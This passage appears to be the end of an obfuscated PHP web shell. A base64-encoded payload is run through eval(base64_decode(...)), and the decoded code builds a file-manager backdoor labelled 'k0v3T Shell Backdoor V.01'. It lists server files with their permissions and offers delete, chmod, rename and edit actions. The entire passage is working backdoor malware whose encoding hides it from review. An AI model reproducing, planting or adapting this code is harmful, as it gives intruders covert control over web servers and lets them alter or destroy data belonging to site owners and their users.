VFpcUhibTZyaVc2YTEzZm4renY3MytvcW9yaGNMZ0tVRlhWUCtmbjUyK0xvbmo4SUxKMFA4WklDQ0Y5L1BUcENsaHBCdmdQZWxvTDlVNTVOSUFBQUFBQVNVVk9SSzVDWUlJPSc+DQo8YSBocmVmPVwiP2ZpbGVzcmM9JHBhdGgvJGZpbGUmcGF0aD0kcGF0aFwiPjxmb250IGNvbG9yPXJlZD4kZmlsZTwvZm9udD48L2E+PC90ZD4NCjx0ZD48Y2VudGVyPjxmb250IGNvbG9yPVJlZD4iLiRzaXplLiI8L2ZvbnQ+PC9jZW50ZXI+PC90ZD4NCjx0ZD48Y2VudGVyPiI7DQppZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9IzVkZGNmYz4nOw0KZWxzZWlmKCFpc19yZWFkYWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9cmVkPic7DQplY2hvIHBlcm1zKCIkcGF0aC8kZmlsZSIpOw0KaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRmaWxlIikgfHwgIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8L2ZvbnQ+JzsNCmVjaG8gIjwvY2VudGVyPjwvdGQ+DQo8dGQ+PGNlbnRlcj48Zm9ybSBtZXRob2Q9XCJQT1NUXCIgYWN0aW9uPVwiP29wdGlvbiZwYXRoPSRwYXRoXCI+DQo8c2VsZWN0IG5hbWU9XCJvcHRcIj4NCjxvcHRpb24gdmFsdWU9XCJTZWxlY3RcIj5TZWxlY3Q8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9XCJkZWxldGVcIj5EZWxldGU8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9XCJjaG1vZFwiPkNobW9kPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPVwicmVuYW1lXCI+UmVuYW1lPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPVwiZWRpdFwiPkVkaXQ8L29wdGlvbj4NCjwvc2VsZWN0Pg0KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidHlwZVwiIHZhbHVlPVwiZmlsZVwiPg0KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwibmFtZVwiIHZhbHVlPVwiJGZpbGVcIj4NCjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInBhdGhcIiB2YWx1ZT1cIiRwYXRoLyRmaWxlXCI+DQo8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiPlwiIC8+DQo8L2Zvcm0+PC9jZW50ZXI+PC90ZD4NCjwvdHI+IjsNCn0NCmVjaG8gJzwvdGFibGU+DQo8L2Rpdj4nOw0KfQ0KZWNobyAnPGJyIC8+PGNlbnRlcj48Zm9udCBzaXplPTMgOyBjb2xvcj1yZWQ+azB2M1QgU2hlbGwgQmFja2Rvb3IgIFYuMDE8YnI+PGZvbnQgc2l6ZT00IDsgY29sb3I9IzVkZGNmYz5Db3B5cmlnaHQgJmNvcHk7IDxmb250IGNvbG9yPSJyZWQiPkluZG9uZXNpYW4gSGFja2VyIENvbW11bml0eTwvZm9udD48L2JyPg0KDQo8L2JvZHk+DQo8L2h0bWw+JzsNCmZ1bmN0aW9uIHBlcm1zKCRmaWxlKXsNCiRwZXJtcyA9IGZpbGVwZXJtcygkZmlsZSk7DQoNCmlmICgoJHBlcm1zICYgMHhDMDAwKSA9PSAweEMwMDApIHsNCi8vIFNvY2tldA0KJGluZm8gPSAncyc7DQp9IGVsc2VpZiAoKCRwZXJtcyAmIDB4QTAwMCkgPT0gMHhBMDAwKSB7DQovLyBTeW1ib2xpYyBMaW5rDQokaW5mbyA9ICdsJzsNCn0gZWxzZWlmICgoJHBlcm1zICYgMHg4MDAwKSA9PSAweDgwMDApIHsNCi8vIFJlZ3VsYXINCiRpbmZvID0gJy0nOw0KfSBlbHNlaWYgKCgkcGVybXMgJiAweDYwMDApID09IDB4NjAwMCkgew0KLy8gQmxvY2sgc3BlY2lhbA0KJGluZm8gPSAnYic7DQp9IGVsc2VpZiAoKCRwZXJtcyAmIDB4NDAwMCkgPT0gMHg0MDAwKSB7DQovLyBEaXJlY3RvcnkNCiRpbmZvID0gJ2QnOw0KfSBlbHNlaWYgKCgkcGVybXMgJiAweDIwMDApID09IDB4MjAwMCkgew0KLy8gQ2hhcmFjdGVyIHNwZWNpYWwNCiRpbmZvID0gJ2MnOw0KfSBlbHNlaWYgKCgkcGVybXMgJiAweDEwMDApID09IDB4MTAwMCkgew0KLy8gRklGTyBwaXBlDQokaW5mbyA9ICdwJzsNCn0gZWxzZSB7DQovLyBVbmtub3duDQokaW5mbyA9ICd1JzsNCn0NCg0KLy8gT3duZXINCiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7DQokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA4MCkgPyAndycgOiAnLScpOw0KJGluZm8gLj0gKCgkcGVybXMgJiAweDAwNDApID8NCigoJHBlcm1zICYgMHgwODAwKSA/ICdzJyA6ICd4JyApIDoNCigoJHBlcm1zICYgMHgwODAwKSA/ICdTJyA6ICctJykpOw0KDQovLyBHcm91cA0KJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMjApID8gJ3InIDogJy0nKTsNCiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7DQokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwOCkgPw0KKCgkcGVybXMgJiAweDA0MDApID8gJ3MnIDogJ3gnICkgOg0KKCgkcGVybXMgJiAweDA0MDApID8gJ1MnIDogJy0nKSk7DQoNCi8vIFdvcmxkDQokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwNCkgPyAncicgOiAnLScpOw0KJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsNCiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAxKSA/DQooKCRwZXJtcyAmIDB4MDIwMCkgPyAndCcgOiAneCcgKSA6DQooKCRwZXJtcyAmIDB4MDIwMCkgPyAnVCcgOiAnLScpKTsNCg0KcmV0dXJuICRpbmZvOw0KfQ==';
eval(base64_decode($code));
?>